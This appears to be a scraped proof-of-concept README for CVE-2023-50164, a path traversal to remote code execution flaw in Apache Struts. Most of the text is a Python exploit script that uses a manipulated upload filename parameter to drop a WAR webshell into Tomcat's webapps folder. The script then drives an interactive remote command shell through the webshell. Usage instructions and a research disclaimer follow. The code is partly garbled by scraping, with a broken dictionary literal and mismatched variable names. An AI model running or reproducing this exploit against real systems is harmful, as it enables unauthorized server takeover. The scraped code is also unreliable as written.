Screenshots from the blog posts
PoC video
Summary
A critical security vulnerability, identified as CVE-2023–50164 (CVE: 9.8) was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code execution (RCE).
General
- import os
- import sys
- import time
- import string
- import random
- import argparse
- import requests
- from urllib.parse import urlparse, urlunparse
- from requests_toolbelt import MultipartEncoder
- from requests.exceptions import ConnectionError
- MAX_ATTEMPTS = 10
- DELAY_SECONDS = 1
- HTTP_UPLOAD_PARAM_NAME = “upload”
- CATALINA_HOME = “/opt/tomcat/”
- NAME_OF_WEBSHELL = “webshell”
- NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + “.war”
- NUMBER_OF_PARENTS_IN_PATH = 2
- def get_base_url(URL):
- parsed_url = urlparse(URL)
- base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, “”, “”, “”, “”))
- return base_url
- def create_war_file():
- if not os.path.exists(NAME_OF_WEBSHELL_WAR):
- os.system(“jar -cvf {} {}”.format(NAME_OF_WEBSHELL_WAR,
- NAME_OF_WEBSHELL+’.jsp’))
- print(“[+] WAR file created successfully.”)
- else:
- print(“[+] WAR file already exists.”)
- def upload_file(URL):
- create_war_file()
- if not os.path.exists(NAME_OF_WEBSHELL_WAR):
- if not os.path.exists(NAME_OF_WEBSHELL_WAR):
- print(“[-] ERROR: webshell.war not found in the current directory.”)
- exit()
- war_location = ‘../’ * (NUMBER_OF_PARENTS_IN_PATH-1) + ‘..’ + \
- CATALINA_HOME + ‘webapps/’ + NAME_OF_WEBSHELL_WAR
- war_file_content = open(NAME_OF_WEBSHELL_WAR, “rb”).read()
- files =
- HTTP_UPLOAD_PARAM_NAME.capitalize(): (“arbitrary.txt”,war_file_content, “application/octet-stream”),
- HTTP_UPLOAD_PARAM_NAME+”FileName”: war_location
- }
- boundary = ‘ — — WebKitFormBoundary’ +‘’.join(random.sample(string.ascii_letters + string.digits, 16))
- m = MultipartEncoder(fields=files, boundary=boundary)
- headers = {“Content-Type”: m.content_type}
- try:
- response = requests.post(url, headers=headers, data=m)
- print(f”[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.”)
- except requests.RequestException as e:
- print(“[-] Error while uploading the WAR webshell:”, e)
- sys.exit(1)
- def attempt_connection(URL):
- for attempt in range(1, MAX_ATTEMPTS + 1):
- try:
- r = requests.get(url)
- if r.status_code == 200:
- print(‘[+] Successfully connected to the web shell.’)
- return True
- else:
- raise Exception
- except ConnectionError:
- if attempt == MAX_ATTEMPTS:
- print(f’[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting…’)
- return False
- time.sleep(DELAY_SECONDS)
- except Exception:
- if attempt == MAX_ATTEMPTS:
- print(‘[-] Maximum attempts reached. Exiting…’)
- return False
- time.sleep(DELAY_SECONDS)
- return False
- def start_interactive_shell(URL):
- if not attempt_connection(URL):
- sys.exit()
- while True:
- try:
- cmd = input(“\033[91mCMD\033[0m > “)
- if cmd == ‘exit’:
- raise KeyboardInterrupt
- r = requests.get(url + “?cmd=” + cmd, verify=False)
- if r.status_code == 200:
- print(r.text.replace(‘\n\n’, ‘’))
- else:
- raise Exception
- except KeyboardInterrupt:
- sys.exit()
- except ConnectionError:
- print(‘[-] We lost our connection to the web shell. Exiting…’)
- sys.exit()
- except:
- print(‘[-] Something unexpected happened. Exiting…’)
- sys.exit()
- if __name__ == “__main__”:
- parser = argparse.ArgumentParser(description=”Exploit script for CVE-2023–50164 by uploading a webshell to a vulnerable Struts app’s server.”)
- parser.add_argument(“ — url”, required=True, help=”Full URL of the upload endpoint.”)
- args = parser.parse_args()
- if not args.url.startswith(“http”):
- print(“[-] ERROR: Invalid URL. Please provide a valid URL starting with ‘http’ or ‘https’.”)
- exit()
- print(“[+] Starting exploitation…”)
upload_file(args.url) - webshell_url =
- f”{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp”
- print(f”[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>”)
- print(f”[+] Attempting a connection with webshell.”)
- start_interactive_shell(webshell_url)
Description
CVE-2023–50164: Apache Struts path traversal to RCE vulnerability
A critical security vulnerability, identified as CVE-2023–50164 (CVE: 9.8) was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code execution (RCE).
Demo Struts 2 application
A simple dummy app is developed for demonstration purposes (see struts-app
folder in the repo). You can deploy it to Tomcat or any other servlet, or run it by mvn jetty:run
. In this latter case you can reach the app on port 9999
.
The exploit script works only in cases when the app is deployed to Tomcat since the exploitation path is to upload a WAR webshell. However, many other exploitation path can work in case of the same vulnerability based on the used technologies and other circumstances.
Usage
Install PIP packages:
pip install requests requests_toolbelt
Then, run the exploit script with for example:
python exploit.py --url http://localhost:8080/upload-1.0.0/upload.action
Note that the exploit needs a full URL where the file upload functionality is implemented.
Disclaimer
This exploit script has been created solely for the purposes of research and for the development of effective defensive techniques. It is not intended to be used for any malicious or unauthorized activities. The author and the owner of the script disclaim any responsibility or liability for any misuse or damage caused by this software. Users are urged to use this software responsibly and only in accordance with applicable laws and regulations. Use responsibly.